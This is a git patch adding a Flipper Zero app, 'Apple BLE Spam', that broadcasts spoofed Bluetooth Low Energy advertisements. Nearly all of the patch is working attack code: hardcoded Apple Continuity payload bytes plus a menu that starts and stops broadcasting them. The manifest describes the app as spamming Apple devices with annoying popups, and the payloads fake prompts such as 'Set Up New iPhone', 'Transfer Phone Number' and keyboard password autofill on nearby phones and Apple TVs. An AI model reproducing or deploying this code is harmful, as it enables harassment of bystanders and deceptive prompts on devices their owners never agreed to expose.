From bf41740b8ff1925da2323e030c77ef7ddb697248 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sun, 3 Sep 2023 16:58:52 +0200 Subject: [PATCH] Add Apple BLE Spam app --- .../external/apple_ble_spam/apple_ble_spam.c | 152 ++++++++++++++++++ .../external/apple_ble_spam/application.fam | 14 ++ .../apple_ble_spam/icons/apple_10px.png | Bin 0 -> 563 bytes 3 files changed, 166 insertions(+) create mode 100644 applications/external/apple_ble_spam/apple_ble_spam.c create mode 100644 applications/external/apple_ble_spam/application.fam create mode 100644 applications/external/apple_ble_spam/icons/apple_10px.png diff --git a/applications/external/apple_ble_spam/apple_ble_spam.c b/applications/external/apple_ble_spam/apple_ble_spam.c new file mode 100644 index 000000000..f174e3ed2 --- /dev/null +++ b/applications/external/apple_ble_spam/apple_ble_spam.c @@ -0,0 +1,152 @@ +#include +#include +#include +#include +#include +#include "apple_ble_spam_icons.h" +#include + +typedef struct { + const char* title; + const char* text; + const size_t adv_len; + const uint8_t* adv_data; +} Payload; + +// Payload data by @techryptic +// https://techryptic.github.io/2023/09/01/Annoying-Apple-Fans/ + +static const uint8_t apple_keyboard_adv[] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, + 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x13, 0x60, 0x4c, + 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; + +static const uint8_t new_iphone_adv[] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, + 0x00, 0x00, 0x0f, 0x05, 0xc0, 0x09, 0x60, 0x4c, + 0x95, 0x01, 0x00, 0x10, 0x00, 0x00, 0x00}; + +static const uint8_t join_appletv_adv[] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, + 0x00, 0x00, 0x0f, 0x05, 0xc0, 0x27, 0x60, 0x4c, + 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; + +static const uint8_t transfer_number_adv[] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, + 0x00, 0x00, 0x0f, 0x05, 0xc0, 0x02, 0x60, 0x4c, + 0x95, 0x01, 0x00, 0x10, 0x00, 0x00, 0x00}; + +static const Payload payloads[] = { + { + .title = "Apple Keyboard", + .text = "'Password AutoFill for Apple TV Keyboard' banner notification", + .adv_len = COUNT_OF(apple_keyboard_adv), + .adv_data = apple_keyboard_adv, + }, + { + .title = "New iPhone", + .text = "'Set Up New iPhone' dialog on homescreen and lockscreen", + .adv_len = COUNT_OF(new_iphone_adv), + .adv_data = new_iphone_adv, + }, + { + .title = "Join AppleTV", + .text = "'Join This Apple TV?' dialog on homescreen and lockscreen", + .adv_len = COUNT_OF(join_appletv_adv), + .adv_data = join_appletv_adv, + }, + { + .title = "Transfer Number", + .text = "'Transfer Phone Number' dialog on homescreen and lockscreen", + .adv_len = COUNT_OF(transfer_number_adv), + .adv_data = transfer_number_adv, + }, +}; + +static DialogMessageButton show_payload(DialogsApp* d, DialogMessage* m, size_t payload_index) { + const Payload* payload = &payloads[payload_index]; + + dialog_message_set_header(m, payload->title, 14, 4, AlignLeft, AlignTop); + dialog_message_set_text(m, payload->text, 4, 18, AlignLeft, AlignTop); + dialog_message_set_icon(m, &I_apple_10px, 3, 3); + + DialogMessageButton result = dialog_message_show(d, m); + + dialog_message_set_header(m, NULL, 0, 0, AlignLeft, AlignTop); + dialog_message_set_text(m, NULL, 0, 0, AlignLeft, AlignTop); + dialog_message_set_icon(m, NULL, 0, 0); + + return result; +} + +static void toggle_payload(bool* advertising, size_t payload_index) { + *advertising = !*advertising; + if(*advertising) { + const Payload* payload = &payloads[payload_index]; + furi_hal_bt_set_custom_adv_data(payload->adv_data, payload->adv_len); + } else { + furi_hal_bt_set_custom_adv_data(NULL, 0); + } +} + +int32_t apple_ble_spam(void* p) { + UNUSED(p); + DialogsApp* dialogs = furi_record_open(RECORD_DIALOGS); + DialogMessage* message = dialog_message_alloc(); + + Gui* gui = furi_record_open(RECORD_GUI); + ViewDispatcher* view_dispatcher = view_dispatcher_alloc(); + EmptyScreen* empty_screen = empty_screen_alloc(); + const uint32_t empty_screen_index = 0; + + size_t payload_index = 0; + bool advertising = false; + DialogMessageButton screen_result; + + view_dispatcher_add_view( + view_dispatcher, empty_screen_index, empty_screen_get_view(empty_screen)); + view_dispatcher_attach_to_gui(view_dispatcher, gui, ViewDispatcherTypeFullscreen); + view_dispatcher_switch_to_view(view_dispatcher, empty_screen_index); + + bool running = true; + while(running) { + const char* ok_btn = advertising ? "Stop" : "Start"; + if(payload_index == 0) { + dialog_message_set_buttons(message, NULL, ok_btn, "Next"); + } else if(payload_index == COUNT_OF(payloads) - 1) { + dialog_message_set_buttons(message, "Back", ok_btn, NULL); + } else { + dialog_message_set_buttons(message, "Back", ok_btn, "Next"); + } + + screen_result = show_payload(dialogs, message, payload_index); + + switch(screen_result) { + case DialogMessageButtonCenter: + toggle_payload(&advertising, payload_index); + break; + case DialogMessageButtonLeft: + if(payload_index > 0) { + if(advertising) toggle_payload(&advertising, payload_index); + payload_index--; + } + break; + case DialogMessageButtonRight: + if(payload_index < COUNT_OF(payloads) - 1) { + if(advertising) toggle_payload(&advertising, payload_index); + payload_index++; + } + break; + case DialogMessageButtonBack: + if(advertising) toggle_payload(&advertising, payload_index); + running = false; + break; + } + } + + dialog_message_free(message); + furi_record_close(RECORD_DIALOGS); + + view_dispatcher_remove_view(view_dispatcher, empty_screen_index); + view_dispatcher_free(view_dispatcher); + empty_screen_free(empty_screen); + furi_record_close(RECORD_GUI); + + return 0; +} diff --git a/applications/external/apple_ble_spam/application.fam b/applications/external/apple_ble_spam/application.fam new file mode 100644 index 000000000..26afdbfea --- /dev/null +++ b/applications/external/apple_ble_spam/application.fam @@ -0,0 +1,14 @@ +App( + appid="apple_ble_spam", + name="Apple BLE Spam", + apptype=FlipperAppType.EXTERNAL, + entry_point="apple_ble_spam", + requires=["gui"], + stack_size=1 * 1024, + fap_icon="icons/apple_10px.png", + fap_category="Bluetooth", + fap_author="@Willy-JL & @techryptic", + fap_version="1.0", + fap_icon_assets="icons", + fap_description="Spam Apple devices with annoying popups and notifications via BLE packets", +) diff --git a/applications/external/apple_ble_spam/icons/apple_10px.png b/applications/external/apple_ble_spam/icons/apple_10px.png new file mode 100644 index 0000000000000000000000000000000000000000..5bcf5eeb292eabedc9da8f62b6a13712f64cd37f GIT binary patch literal 563 zcmV-30?hr1P)EX>4Tx04R}tkv&MmKpe$iTT4}19PA+CkfAz=1yK=4twIqhgj%6h2a`*`ph-iL z;^HW{799LotU9+0Yt2!bCVt}afBE>hzEl0u6Z503ls?%w0>9pG10C4=2nH!D|!$>1VM~S%+%*ZF$K@@bq^n3@8Uem``n)+qU22m_ypovrW+RV2J!T! zrE}gVjmKj!?(FT~Gp+u903~#Ch;5ghrvLx|32;bRa{vGi!~g&e!~vBn4jTXf00(qQ zO+^Ri2?Gub05Mv)!~g&QK}keGR2b8JjzJCpAPmA_@&8}02hFmmlM`79%z%n)*Gqhu zq>(@pkY@8Eo&tdA*kk+dd*C(S;+lxsb{lt}FHP|;Df<#m%25CS002ovPDHLkV1f-~ B^@{)i literal 0 HcmV?d00001